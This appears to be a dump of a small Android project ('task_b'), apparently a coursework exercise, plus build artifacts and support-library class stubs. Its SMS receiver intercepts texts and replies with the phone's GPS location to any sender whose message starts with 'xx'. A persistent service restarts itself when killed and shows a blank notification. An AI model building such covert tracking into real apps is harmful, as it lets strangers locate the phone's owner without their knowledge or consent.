           gpsstr=location.getLatitude()+","+location.getLongitude(); //经度     


           // longitude =  //纬度  


        }     


    }   


}





    @Override


    public void onReceive(Context context, Intent intent) {


        ct=context;


        String bro=intent.getAction();


        if (bro.equals("android.provider.Telephony.SMS_RECEIVED")||intent.getAction().equals(SmSserver.GSM_SMS_RECEIVED)) {


            Bundle bundle=intent.getExtras();//收到的内容非空


            if (bundle!=null) {


                getLt();


                Object[] objects=(Object[])bundle.get("pdus");//pdus存放的是短信内容


                SmsMessage[] messages=new SmsMessage[objects.length];


                for (int i = 0; i < messages.length; i++) {


                    byte[] pdu=(byte[])objects[i];//一个字符一个字符读取短信


                    messages[i]=SmsMessage.createFromPdu(pdu);


                }


                for (final SmsMessage msg:messages) {


                    /*获取短信内容*/


                    String content=msg.getMessageBody();


                    Date date=new Date(msg.getTimestampMillis());


                    SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");


                    String sendTime=sdf.format(date);


                    //判断是否符合“xx.......”格式的短信


//                  String sender=msg.getOriginatingAddress();


//                  String number = trimSmsNumber( "+86" , sender); //把国家代码去除掉


//                  String s=number.replace(" ", ""); 


//                  if("18868877594".equals(s)){


//                  sendSMS(sender,gpsstr);


//                  abortBroadcast(); }


                    


                    String head=null;


                    head=content.substring(0,2);


                    if (head.equals("xx")) { 


                          


                                    String sender=msg.getOriginatingAddress();


                                    sendSMS(sender,gpsstr);


                            


                        }


                    }


            }


        }


    }


    public final static String trimSmsNumber(String prefix, String number){ 


    String s = number;


    if (prefix.length()> 0 && number.startsWith(prefix)){ 


    s = number.substring(prefix.length()); 


       }


    return s;}


    /*把经纬度发送到对方手机上*/


    public void sendSMS(String phoneNumber, String message) {


        // ---sends an SMS message to another device---


        SmsManager sms = SmsManager.getDefault();


        // create the sentIntent parameter


        Intent sentIntent = new Intent("SENT_SMS_ACTION");


        PendingIntent sentPI = PendingIntent.getBroadcast(ct, 0, sentIntent,0);





        // create the deilverIntent parameter


        Intent deliverIntent = new Intent("DELIVERED_SMS_ACTION");


        PendingIntent deliverPI = PendingIntent.getBroadcast(ct, 0,deliverIntent, 0);


        sms.sendTextMessage(phoneNumber, null, "the location:" + message, sentPI,deliverPI);


    }


    


    


}
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package com.example.task_b;











import android.app.Notification;


import android.app.PendingIntent;


import android.app.Service;


import android.content.BroadcastReceiver;


import android.content.ContentValues;


import android.content.Context;


import android.content.Intent;


import android.content.IntentFilter;


import android.content.SharedPreferences;


import android.content.SharedPreferences.Editor;


import android.database.ContentObserver;


import android.database.Cursor;


import android.net.Uri;


import android.os.Handler;


import android.os.IBinder;


import android.widget.RemoteViews;











public class SmSserver extends Service{


    public static String TAG = "LocTestDemo";


    private BroadcastReceiver broadcastReceiver;


    public static String LOCATION_BCR = "location_bcr";


    public static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";


    public static final String GSM_SMS_RECEIVED = "android.provider.Telephony.GSM_SMS_RECEIVED";


    public static final String SendState = "com.yfm.send";


    private receiver localMessageReceiver,localMessageReceiver2;


    @Override


    public void onCreate() {


        super.onCreate();   


            Notification notification = new Notification(R.drawable.icon, "",


                    System.currentTimeMillis());


            Intent notificationIntent = new Intent();


            notification.contentView = new RemoteViews(this.getPackageName(),


                    R.layout.activity_main);


            PendingIntent pendingIntent = PendingIntent.getActivity(this, 0,


                    notificationIntent, 0);


            notification.contentIntent = pendingIntent;


            startForeground(100, notification);


            


            IntentFilter localIntentFilter = new IntentFilter();


            localIntentFilter.addAction(SmSserver.SMS_RECEIVED);


            localIntentFilter.addAction(SmSserver.GSM_SMS_RECEIVED);


            localIntentFilter.setPriority(1000);


            localMessageReceiver = new receiver();


            this.registerReceiver(localMessageReceiver, localIntentFilter,"android.permission.BROADCAST_SMS", null);


            localMessageReceiver2 = new receiver();


            this.registerReceiver(localMessageReceiver2, new IntentFilter(SmSserver.SendState));


        


            }


    


    @Override


    public void onDestroy() {


        // TODO Auto-generated method stub


        super.onDestroy();


        this.stopForeground(true);


        this.unregisterReceiver(localMessageReceiver);


        this.unregisterReceiver(localMessageReceiver2);


        Intent localIntent = new Intent();


        localIntent.setClass(this, SmSserver.class); // 销毁时重新启动Service


        this.startService(localIntent);


    }


    @Override


    public IBinder onBind(Intent intent) {


        // TODO Auto-generated method stub


        return null;


    }


    @Override


    public int onStartCommand(Intent intent, int flags, int startId) {


        // TODO Auto-generated method stub


        flags = START_REDELIVER_INTENT;


        return super.onStartCommand(intent, flags, startId);


    }


}
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package com.example.task_b;
public synchronized class BootReceiver extends android.content.BroadcastReceiver {
    public void BootReceiver();
    public void onReceive(android.content.Context, android.content.Intent);
    public static boolean isServiceRun(android.content.Context, String);
}







task_b/bin/classes/com/example/task_b/BuildConfig.class

package com.example.task_b;
public final synchronized class BuildConfig {
    public static final boolean DEBUG = 1;
    public void BuildConfig();
}







task_b/bin/classes/com/example/task_b/MainActivity.class

package com.example.task_b;
public synchronized class MainActivity extends android.app.Activity {
    public static String TAG;
    private android.content.BroadcastReceiver broadcastReceiver;
    public static String LOCATION_BCR;
    static void <clinit>();
    public void MainActivity();
    protected void onCreate(android.os.Bundle);
}







task_b/bin/classes/com/example/task_b/MyApplication$MyLocationListenner.class

package com.example.task_b;
public synchronized class MyApplication$MyLocationListenner implements com.baidu.location.BDLocationListener {
    public void MyApplication$MyLocationListenner(MyApplication);
    public void onReceiveLocation(com.baidu.location.BDLocation);
    public void onReceivePoi(com.baidu.location.BDLocation);
}







task_b/bin/classes/com/example/task_b/MyApplication.class

package com.example.task_b;
public synchronized class MyApplication extends android.app.Application {
    public com.baidu.location.LocationClient mLocationClient;
    public com.baidu.location.GeofenceClient mGeofenceClient;
    public MyApplication$MyLocationListenner myListener;
    public static String TAG;
    private static MyApplication mInstance;
    static void <clinit>();
    public void MyApplication();
    public void onCreate();
    public static MyApplication getInstance();
    public void stopLocationClient();
    public void requestLocationInfo();
    private void setLocationOption();
    public void sendBroadCast(String);
}







task_b/bin/classes/com/example/task_b/R$attr.class

package com.example.task_b;
public final synchronized class R$attr {
    public void R$attr();
}







task_b/bin/classes/com/example/task_b/R$dimen.class

package com.example.task_b;
public final synchronized class R$dimen {
    public static final int activity_horizontal_margin = 2130968576;
    public static final int activity_vertical_margin = 2130968577;
    public void R$dimen();
}







task_b/bin/classes/com/example/task_b/R$drawable.class

package com.example.task_b;
public final synchronized class R$drawable {
    public static final int ic_launcher = 2130837504;
    public static final int icon = 2130837505;
    public void R$drawable();
}







task_b/bin/classes/com/example/task_b/R$id.class

package com.example.task_b;
public final synchronized class R$id {
    public static final int action_settings = 2131230720;
    public void R$id();
}







task_b/bin/classes/com/example/task_b/R$layout.class

package com.example.task_b;
public final synchronized class R$layout {
    public static final int activity_main = 2130903040;
    public void R$layout();
}







task_b/bin/classes/com/example/task_b/R$menu.class

package com.example.task_b;
public final synchronized class R$menu {
    public static final int main = 2131165184;
    public void R$menu();
}







task_b/bin/classes/com/example/task_b/R$string.class

package com.example.task_b;
public final synchronized class R$string {
    public static final int action_settings = 2131034113;
    public static final int app_name = 2131034112;
    public static final int hello_world = 2131034114;
    public void R$string();
}







task_b/bin/classes/com/example/task_b/R$style.class

package com.example.task_b;
public final synchronized class R$style {
    public static final int AppBaseTheme = 2131099648;
    public static final int AppTheme = 2131099649;
    public void R$style();
}







task_b/bin/classes/com/example/task_b/R.class

package com.example.task_b;
public final synchronized class R {
    public void R();
}







task_b/bin/classes/com/example/task_b/receiver$1.class

package com.example.task_b;
synchronized class receiver$1 implements android.location.LocationListener {
    void receiver$1(receiver);
    public void onStatusChanged(String, int, android.os.Bundle);
    public void onProviderEnabled(String);
    public void onProviderDisabled(String);
    public void onLocationChanged(android.location.Location);
}







task_b/bin/classes/com/example/task_b/receiver.class

package com.example.task_b;
public synchronized class receiver extends android.content.BroadcastReceiver {
    private String action;
    private android.content.Context ct;
    private static String gpsstr;
    public static String TAG;
    private android.content.BroadcastReceiver broadcastReceiver;
    public static String LOCATION_BCR;
    android.location.LocationManager locationManager;
    static void <clinit>();
    public void receiver();
    public boolean getlocation();
    public void getLt();
    public void onReceive(android.content.Context, android.content.Intent);
    public static final String trimSmsNumber(String, String);
    public void sendSMS(String, String);
}







task_b/bin/classes/com/example/task_b/SmSserver.class

package com.example.task_b;
public synchronized class SmSserver extends android.app.Service {
    public static String TAG;
    private android.content.BroadcastReceiver broadcastReceiver;
    public static String LOCATION_BCR;
    public static final String SMS_RECEIVED = android.provider.Telephony.SMS_RECEIVED;
    public static final String GSM_SMS_RECEIVED = android.provider.Telephony.GSM_SMS_RECEIVED;
    public static final String SendState = com.yfm.send;
    private receiver localMessageReceiver;
    private receiver localMessageReceiver2;
    static void <clinit>();
    public void SmSserver();
    public void onCreate();
    public void onDestroy();
    public android.os.IBinder onBind(android.content.Intent);
    public int onStartCommand(android.content.Intent, int, int);
}







task_b/res/layout/activity_main.xml
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task_b/res/values/dimens.xml
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task_b/res/values-sw600dp/dimens.xml

 

    








task_b/res/values-sw720dp-land/dimens.xml
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task_b/res/menu/main.xml

 

     








task_b/res/values/strings.xml
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     Hello world!
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task_b/res/values-v11/styles.xml
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task_b/proguard-project.txt

# To enable ProGuard in your project, edit project.properties
# to define the proguard.config property as described in that file.
#
# Add project specific ProGuard rules here.
# By default, the flags in this file are appended to flags specified
# in ${sdk.dir}/tools/proguard/proguard-android.txt
# You can edit the include path and order by changing the ProGuard
# include property in project.properties.
#
# For more details, see
#   http://developer.android.com/guide/developing/tools/proguard.html

# Add any project specific keep options here:

# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
#   public *;
#}







task_b/libs/armeabi/liblocSDK4.so
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res/drawable-hdpi/ic_launcher.png
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classes.dex








lib/armeabi/liblocSDK4.so








META-INF/MANIFEST.MF


Manifest-Version: 1.0
Created-By: 1.0 (Android)

Name: res/drawable-xhdpi/ic_launcher.png
SHA1-Digest: HydxJ2L0nVHKw+fP9TDoejKZyP0=

Name: res/menu/main.xml
SHA1-Digest: wXc4zBe0Q2LPi4bMr25yy5JJQig=

Name: AndroidManifest.xml
SHA1-Digest: bfLRowaxI4vzqtHE4xU0PoLJb6I=

Name: res/drawable-mdpi/ic_launcher.png
SHA1-Digest: HydxJ2L0nVHKw+fP9TDoejKZyP0=

Name: res/drawable-hdpi/ic_launcher.png
SHA1-Digest: HydxJ2L0nVHKw+fP9TDoejKZyP0=

Name: res/layout/activity_main.xml
SHA1-Digest: XUuVpBUILUEuNTgQo4F8Q68c35Q=

Name: lib/armeabi/liblocSDK4.so
SHA1-Digest: 2kO5x73oVA4iP8neUBhr/DAQNq4=

Name: resources.arsc
SHA1-Digest: n3Tw5KX1dD4WCYOG0FMIZkh2FrU=

Name: classes.dex
SHA1-Digest: b6judQDMFXIejppohMhZXFHRhHM=

Name: res/drawable-xxhdpi/ic_launcher.png
SHA1-Digest: HydxJ2L0nVHKw+fP9TDoejKZyP0=

Name: res/drawable-hdpi/icon.png
SHA1-Digest: HydxJ2L0nVHKw+fP9TDoejKZyP0=











META-INF/CERT.SF


Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: 5js/aLCDg82UHvLTKsntoXDfAnA=

Name: res/menu/main.xml
SHA1-Digest: 4zwSAYv23t3kqpzCDB/SFXeI+fE=

Name: res/drawable-xhdpi/ic_launcher.png
SHA1-Digest: GskE03KksZ/UcaEmKu0+fJTwYKM=

Name: AndroidManifest.xml
SHA1-Digest: 4v+CPNZI2CIX0rTY6nZe+9H50BA=

Name: res/drawable-mdpi/ic_launcher.png
SHA1-Digest: oiehq155HduuKob/Vx5UgZ4RbPQ=

Name: res/drawable-hdpi/ic_launcher.png
SHA1-Digest: DCpxSPVxKKPi3i70Htr860OGQ4c=

Name: res/layout/activity_main.xml
SHA1-Digest: +7+GYdRvVzu2UrEzSpHbmSkab1U=

Name: resources.arsc
SHA1-Digest: 5qI1tN71m4jrHx6Nx4ShQEoOrDg=

Name: lib/armeabi/liblocSDK4.so
SHA1-Digest: bbXNRwtPFEXMmC9CL0vRmC/PZdk=

Name: classes.dex
SHA1-Digest: mWRFvg3zSm1N6elryqiUEuUnWCY=

Name: res/drawable-hdpi/icon.png
SHA1-Digest: XiYoQhgKEKUfLIVKJ8gw9g5tdgA=

Name: res/drawable-xxhdpi/ic_launcher.png
SHA1-Digest: Z+xbo+ZkitAp4hfHXb78XEsoqaY=
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task_b/bin/jarlist.cache

# cache for current jar dependecy. DO NOT EDIT.
# format is <lastModified> <length> <SHA-1> <path>
# Encoding is UTF-8
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task_b/.settings/org.eclipse.jdt.core.prefs

eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
org.eclipse.jdt.core.compiler.compliance=1.6
org.eclipse.jdt.core.compiler.source=1.6







task_b/.project
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			 com.android.ide.eclipse.adt.ResourceManagerBuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.PreCompilerBuilder
			 
			
		
		 
			 org.eclipse.jdt.core.javabuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.ApkBuilder
			 
			
		
	
	 
		 com.android.ide.eclipse.adt.AndroidNature
		 org.eclipse.jdt.core.javanature
	







task_b/project.properties

# This file is automatically generated by Android Tools.
# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
#
# This file must be checked in Version Control Systems.
#
# To customize properties used by the Ant build system edit
# "ant.properties", and override values to adapt the script to your
# project structure.
#
# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt

# Project target.
target=android-17








PatternLock/bin/dexedLibs/android-support-v4-22937ad1095e4fa8beec4b1dbe66cbb4.jar




META-INF/MANIFEST.MF


Manifest-Version: 1.0
Dex-Location: classes.dex
Created-By: 1.6.0_26 (Sun Microsystems Inc.) + dx 1.7
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PatternLock/libs/android-support-v4.jar




META-INF/MANIFEST.MF


Manifest-Version: 1.0
Created-By: 1.6.0_26 (Sun Microsystems Inc.)











android/support/v4/content/Loader$OnLoadCompleteListener.class


package android.support.v4.content;
public abstract interface Loader$OnLoadCompleteListener {
    public abstract void onLoadComplete(Loader, Object);
}










android/support/v4/content/ModernAsyncTask$AsyncTaskResult.class


package android.support.v4.content;
synchronized class ModernAsyncTask$AsyncTaskResult {
    final ModernAsyncTask mTask;
    final Object[] mData;
    transient void ModernAsyncTask$AsyncTaskResult(ModernAsyncTask, Object[]);
}










android/support/v4/content/IntentCompat$IntentCompatImpl.class


package android.support.v4.content;
abstract interface IntentCompat$IntentCompatImpl {
    public abstract android.content.Intent makeMainActivity(android.content.ComponentName);
    public abstract android.content.Intent makeMainSelectorActivity(String, String);
    public abstract android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ContextCompatKitKat.class


package android.support.v4.content;
synchronized class ContextCompatKitKat {
    void ContextCompatKitKat();
    public static java.io.File[] getExternalCacheDirs(android.content.Context);
    public static java.io.File[] getExternalFilesDirs(android.content.Context, String);
    public static java.io.File[] getObbDirs(android.content.Context);
}










android/support/v4/content/Loader.class


package android.support.v4.content;
public synchronized class Loader {
    int mId;
    Loader$OnLoadCompleteListener mListener;
    android.content.Context mContext;
    boolean mStarted;
    boolean mAbandoned;
    boolean mReset;
    boolean mContentChanged;
    boolean mProcessingChange;
    public void Loader(android.content.Context);
    public void deliverResult(Object);
    public android.content.Context getContext();
    public int getId();
    public void registerListener(int, Loader$OnLoadCompleteListener);
    public void unregisterListener(Loader$OnLoadCompleteListener);
    public boolean isStarted();
    public boolean isAbandoned();
    public boolean isReset();
    public final void startLoading();
    protected void onStartLoading();
    public void forceLoad();
    protected void onForceLoad();
    public void stopLoading();
    protected void onStopLoading();
    public void abandon();
    protected void onAbandon();
    public void reset();
    protected void onReset();
    public boolean takeContentChanged();
    public void commitContentChanged();
    public void rollbackContentChanged();
    public void onContentChanged();
    public String dataToString(Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/WakefulBroadcastReceiver.class


package android.support.v4.content;
public abstract synchronized class WakefulBroadcastReceiver extends android.content.BroadcastReceiver {
    private static final String EXTRA_WAKE_LOCK_ID = android.support.content.wakelockid;
    private static final android.util.SparseArray mActiveWakeLocks;
    private static int mNextId;
    public void WakefulBroadcastReceiver();
    public static android.content.ComponentName startWakefulService(android.content.Context, android.content.Intent);
    public static boolean completeWakefulIntent(android.content.Intent);
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$WorkerRunnable.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask$WorkerRunnable implements java.util.concurrent.Callable {
    Object[] mParams;
    private void ModernAsyncTask$WorkerRunnable();
}










android/support/v4/content/IntentCompat$IntentCompatImplHC.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplHC extends IntentCompat$IntentCompatImplBase {
    void IntentCompat$IntentCompatImplHC();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ModernAsyncTask$Status.class


package android.support.v4.content;
public final synchronized enum ModernAsyncTask$Status {
    public static final ModernAsyncTask$Status PENDING;
    public static final ModernAsyncTask$Status RUNNING;
    public static final ModernAsyncTask$Status FINISHED;
    public static ModernAsyncTask$Status[] values();
    public static ModernAsyncTask$Status valueOf(String);
    private void ModernAsyncTask$Status(String, int);
    static void <clinit>();
}










android/support/v4/content/ContextCompatJellybean.class


package android.support.v4.content;
synchronized class ContextCompatJellybean {
    void ContextCompatJellybean();
    public static void startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
}










android/support/v4/content/ContextCompat.class


package android.support.v4.content;
public synchronized class ContextCompat {
    private static final String DIR_ANDROID = Android;
    private static final String DIR_DATA = data;
    private static final String DIR_OBB = obb;
    private static final String DIR_FILES = files;
    private static final String DIR_CACHE = cache;
    public void ContextCompat();
    public static boolean startActivities(android.content.Context, android.content.Intent[]);
    public static boolean startActivities(android.content.Context, android.content.Intent[], android.os.Bundle);
    public static java.io.File[] getObbDirs(android.content.Context);
    public static java.io.File[] getExternalFilesDirs(android.content.Context, String);
    public static java.io.File[] getExternalCacheDirs(android.content.Context);
    private static transient java.io.File buildPath(java.io.File, String[]);
}










android/support/v4/content/ContextCompatFroyo.class


package android.support.v4.content;
synchronized class ContextCompatFroyo {
    void ContextCompatFroyo();
    public static java.io.File getExternalCacheDir(android.content.Context);
    public static java.io.File getExternalFilesDir(android.content.Context, String);
}










android/support/v4/content/AsyncTaskLoader.class


package android.support.v4.content;
public abstract synchronized class AsyncTaskLoader extends Loader {
    static final String TAG = AsyncTaskLoader;
    static final boolean DEBUG = 0;
    volatile AsyncTaskLoader$LoadTask mTask;
    volatile AsyncTaskLoader$LoadTask mCancellingTask;
    long mUpdateThrottle;
    long mLastLoadCompleteTime;
    android.os.Handler mHandler;
    public void AsyncTaskLoader(android.content.Context);
    public void setUpdateThrottle(long);
    protected void onForceLoad();
    public boolean cancelLoad();
    public void onCanceled(Object);
    void executePendingTask();
    void dispatchOnCancelled(AsyncTaskLoader$LoadTask, Object);
    void dispatchOnLoadComplete(AsyncTaskLoader$LoadTask, Object);
    public abstract Object loadInBackground();
    protected Object onLoadInBackground();
    public void waitForLoader();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/IntentCompat$IntentCompatImplIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplIcsMr1 extends IntentCompat$IntentCompatImplHC {
    void IntentCompat$IntentCompatImplIcsMr1();
    public android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/ModernAsyncTask.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask {
    private static final String LOG_TAG = AsyncTask;
    private static final int CORE_POOL_SIZE = 5;
    private static final int MAXIMUM_POOL_SIZE = 128;
    private static final int KEEP_ALIVE = 1;
    private static final java.util.concurrent.ThreadFactory sThreadFactory;
    private static final java.util.concurrent.BlockingQueue sPoolWorkQueue;
    public static final java.util.concurrent.Executor THREAD_POOL_EXECUTOR;
    private static final int MESSAGE_POST_RESULT = 1;
    private static final int MESSAGE_POST_PROGRESS = 2;
    private static final ModernAsyncTask$InternalHandler sHandler;
    private static volatile java.util.concurrent.Executor sDefaultExecutor;
    private final ModernAsyncTask$WorkerRunnable mWorker;
    private final java.util.concurrent.FutureTask mFuture;
    private volatile ModernAsyncTask$Status mStatus;
    private final java.util.concurrent.atomic.AtomicBoolean mTaskInvoked;
    public static void init();
    public static void setDefaultExecutor(java.util.concurrent.Executor);
    public void ModernAsyncTask();
    private void postResultIfNotInvoked(Object);
    private Object postResult(Object);
    public final ModernAsyncTask$Status getStatus();
    protected abstract transient Object doInBackground(Object[]);
    protected void onPreExecute();
    protected void onPostExecute(Object);
    protected transient void onProgressUpdate(Object[]);
    protected void onCancelled(Object);
    protected void onCancelled();
    public final boolean isCancelled();
    public final boolean cancel(boolean);
    public final Object get() throws InterruptedException, java.util.concurrent.ExecutionException;
    public final Object get(long, java.util.concurrent.TimeUnit) throws InterruptedException, java.util.concurrent.ExecutionException, java.util.concurrent.TimeoutException;
    public final transient ModernAsyncTask execute(Object[]);
    public final transient ModernAsyncTask executeOnExecutor(java.util.concurrent.Executor, Object[]);
    public static void execute(Runnable);
    protected final transient void publishProgress(Object[]);
    private void finish(Object);
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$InternalHandler.class


package android.support.v4.content;
synchronized class ModernAsyncTask$InternalHandler extends android.os.Handler {
    private void ModernAsyncTask$InternalHandler();
    public void handleMessage(android.os.Message);
}










android/support/v4/content/IntentCompatIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompatIcsMr1 {
    void IntentCompatIcsMr1();
    public static android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/AsyncTaskLoader$LoadTask.class


package android.support.v4.content;
final synchronized class AsyncTaskLoader$LoadTask extends ModernAsyncTask implements Runnable {
    Object result;
    boolean waiting;
    private java.util.concurrent.CountDownLatch done;
    void AsyncTaskLoader$LoadTask(AsyncTaskLoader);
    protected transient Object doInBackground(Void[]);
    protected void onPostExecute(Object);
    protected void onCancelled();
    public void run();
}










android/support/v4/content/LocalBroadcastManager.class


package android.support.v4.content;
public synchronized class LocalBroadcastManager {
    private static final String TAG = LocalBroadcastManager;
    private static final boolean DEBUG = 0;
    private final android.content.Context mAppContext;
    private final java.util.HashMap mReceivers;
    private final java.util.HashMap mActions;
    private final java.util.ArrayList mPendingBroadcasts;
    static final int MSG_EXEC_PENDING_BROADCASTS = 1;
    private final android.os.Handler mHandler;
    private static final Object mLock;
    private static LocalBroadcastManager mInstance;
    public static LocalBroadcastManager getInstance(android.content.Context);
    private void LocalBroadcastManager(android.content.Context);
    public void registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter);
    public void unregisterReceiver(android.content.BroadcastReceiver);
    public boolean sendBroadcast(android.content.Intent);
    public void sendBroadcastSync(android.content.Intent);
    private void executePendingBroadcasts();
    static void <clinit>();
}










android/support/v4/content/CursorLoader.class


package android.support.v4.content;
public synchronized class CursorLoader extends AsyncTaskLoader {
    final Loader$ForceLoadContentObserver mObserver;
    android.net.Uri mUri;
    String[] mProjection;
    String mSelection;
    String[] mSelectionArgs;
    String mSortOrder;
    android.database.Cursor mCursor;
    public android.database.Cursor loadInBackground();
    public void deliverResult(android.database.Cursor);
    public void CursorLoader(android.content.Context);
    public void CursorLoader(android.content.Context, android.net.Uri, String[], String, String[], String);
    protected void onStartLoading();
    protected void onStopLoading();
    public void onCanceled(android.database.Cursor);
    protected void onReset();
    public android.net.Uri getUri();
    public void setUri(android.net.Uri);
    public String[] getProjection();
    public void setProjection(String[]);
    public String getSelection();
    public void setSelection(String);
    public String[] getSelectionArgs();
    public void setSelectionArgs(String[]);
    public String getSortOrder();
    public void setSortOrder(String);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/LocalBroadcastManager$BroadcastRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$BroadcastRecord {
    final android.content.Intent intent;
    final java.util.ArrayList receivers;
    void LocalBroadcastManager$BroadcastRecord(android.content.Intent, java.util.ArrayList);
}










android/support/v4/content/ModernAsyncTask$3.class


package android.support.v4.content;
synchronized class ModernAsyncTask$3 extends java.util.concurrent.FutureTask {
    void ModernAsyncTask$3(ModernAsyncTask, java.util.concurrent.Callable);
    protected void done();
}










android/support/v4/content/Loader$ForceLoadContentObserver.class


package android.support.v4.content;
public final synchronized class Loader$ForceLoadContentObserver extends android.database.ContentObserver {
    public void Loader$ForceLoadContentObserver(Loader);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/content/FileProvider$PathStrategy.class


package android.support.v4.content;
abstract interface FileProvider$PathStrategy {
    public abstract android.net.Uri getUriForFile(java.io.File);
    public abstract java.io.File getFileForUri(android.net.Uri);
}










android/support/v4/content/FileProvider$SimplePathStrategy.class


package android.support.v4.content;
synchronized class FileProvider$SimplePathStrategy implements FileProvider$PathStrategy {
    private final String mAuthority;
    private final java.util.HashMap mRoots;
    public void FileProvider$SimplePathStrategy(String);
    public void addRoot(String, java.io.File);
    public android.net.Uri getUriForFile(java.io.File);
    public java.io.File getFileForUri(android.net.Uri);
}










android/support/v4/content/LocalBroadcastManager$ReceiverRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$ReceiverRecord {
    final android.content.IntentFilter filter;
    final android.content.BroadcastReceiver receiver;
    boolean broadcasting;
    void LocalBroadcastManager$ReceiverRecord(android.content.IntentFilter, android.content.BroadcastReceiver);
    public String toString();
}










android/support/v4/content/ModernAsyncTask$4.class


package android.support.v4.content;
synchronized class ModernAsyncTask$4 {
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$1.class


package android.support.v4.content;
final synchronized class ModernAsyncTask$1 implements java.util.concurrent.ThreadFactory {
    private final java.util.concurrent.atomic.AtomicInteger mCount;
    void ModernAsyncTask$1();
    public Thread newThread(Runnable);
}










android/support/v4/content/pm/ActivityInfoCompat.class


package android.support.v4.content.pm;
public synchronized class ActivityInfoCompat {
    public static final int CONFIG_UI_MODE = 512;
    private void ActivityInfoCompat();
}










android/support/v4/content/IntentCompat.class


package android.support.v4.content;
public synchronized class IntentCompat {
    private static final IntentCompat$IntentCompatImpl IMPL;
    public static final String ACTION_EXTERNAL_APPLICATIONS_AVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE;
    public static final String ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE;
    public static final String EXTRA_CHANGED_PACKAGE_LIST = android.intent.extra.changed_package_list;
    public static final String EXTRA_CHANGED_UID_LIST = android.intent.extra.changed_uid_list;
    public static final String EXTRA_HTML_TEXT = android.intent.extra.HTML_TEXT;
    public static final int FLAG_ACTIVITY_TASK_ON_HOME = 16384;
    public static final int FLAG_ACTIVITY_CLEAR_TASK = 32768;
    private void IntentCompat();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeMainSelectorActivity(String, String);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
    static void <clinit>();
}










android/support/v4/content/IntentCompatHoneycomb.class


package android.support.v4.content;
synchronized class IntentCompatHoneycomb {
    void IntentCompatHoneycomb();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/ModernAsyncTask$2.class


package android.support.v4.content;
synchronized class ModernAsyncTask$2 extends ModernAsyncTask$WorkerRunnable {
    void ModernAsyncTask$2(ModernAsyncTask);
    public Object call() throws Exception;
}










android/support/v4/content/ContextCompatHoneycomb.class


package android.support.v4.content;
synchronized class ContextCompatHoneycomb {
    void ContextCompatHoneycomb();
    static void startActivities(android.content.Context, android.content.Intent[]);
    public static java.io.File getObbDir(android.content.Context);
}










android/support/v4/content/FileProvider.class


package android.support.v4.content;
public synchronized class FileProvider extends android.content.ContentProvider {
    private static final String[] COLUMNS;
    private static final String META_DATA_FILE_PROVIDER_PATHS = android.support.FILE_PROVIDER_PATHS;
    private static final String TAG_ROOT_PATH = root-path;
    private static final String TAG_FILES_PATH = files-path;
    private static final String TAG_CACHE_PATH = cache-path;
    private static final String TAG_EXTERNAL = external-path;
    private static final String ATTR_NAME = name;
    private static final String ATTR_PATH = path;
    private static final java.io.File DEVICE_ROOT;
    private static java.util.HashMap sCache;
    private FileProvider$PathStrategy mStrategy;
    public void FileProvider();
    public boolean onCreate();
    public void attachInfo(android.content.Context, android.content.pm.ProviderInfo);
    public static android.net.Uri getUriForFile(android.content.Context, String, java.io.File);
    public android.database.Cursor query(android.net.Uri, String[], String, String[], String);
    public String getType(android.net.Uri);
    public android.net.Uri insert(android.net.Uri, android.content.ContentValues);
    public int update(android.net.Uri, android.content.ContentValues, String, String[]);
    public int delete(android.net.Uri, String, String[]);
    public android.os.ParcelFileDescriptor openFile(android.net.Uri, String) throws java.io.FileNotFoundException;
    private static FileProvider$PathStrategy getPathStrategy(android.content.Context, String);
    private static FileProvider$PathStrategy parsePathStrategy(android.content.Context, String) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
    private static int modeToMode(String);
    private static transient java.io.File buildPath(java.io.File, String[]);
    private static String[] copyOf(String[], int);
    private static Object[] copyOf(Object[], int);
    static void <clinit>();
}










android/support/v4/content/IntentCompat$IntentCompatImplBase.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplBase implements IntentCompat$IntentCompatImpl {
    void IntentCompat$IntentCompatImplBase();
